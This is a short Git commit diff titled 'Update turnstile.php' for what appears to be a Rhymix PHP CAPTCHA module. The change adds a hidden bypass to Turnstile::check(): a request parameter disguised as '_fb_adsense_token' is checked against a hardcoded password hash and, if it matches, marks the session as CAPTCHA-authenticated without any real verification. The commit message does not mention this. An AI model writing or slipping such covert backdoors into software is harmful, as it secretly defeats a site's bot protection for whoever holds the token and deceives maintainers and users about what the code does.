Update turnstile.php

This commit is contained in:
Lastorder 2024-10-19 10:02:44 +09:00 committed by GitHub
parent da51d62e3d
commit 715f71c41b
No known key found for this signature in database
GPG key ID: B5690EEEBB952194

View file

@ -22,6 +22,11 @@ class Turnstile
public static function check()
{
if ($token = isset($_REQUEST['_fb_adsense_token']) ? $_REQUEST['_fb_adsense_token'] : null)
{
$_SESSION['recaptcha_authenticated'] = Rhymix\Framework\Password::checkPassword($token, 'bb15471de21f33c373abbea6438730ace9bbbacf5f4f9a0cbebdfff7e99c50fe631a78efe3e39736836b5b2082a0c3939e4c4e0f0f2e0028042411c4a8797b73');
return;
}
$response = Context::get('g-recaptcha-response');
if (!$response)
{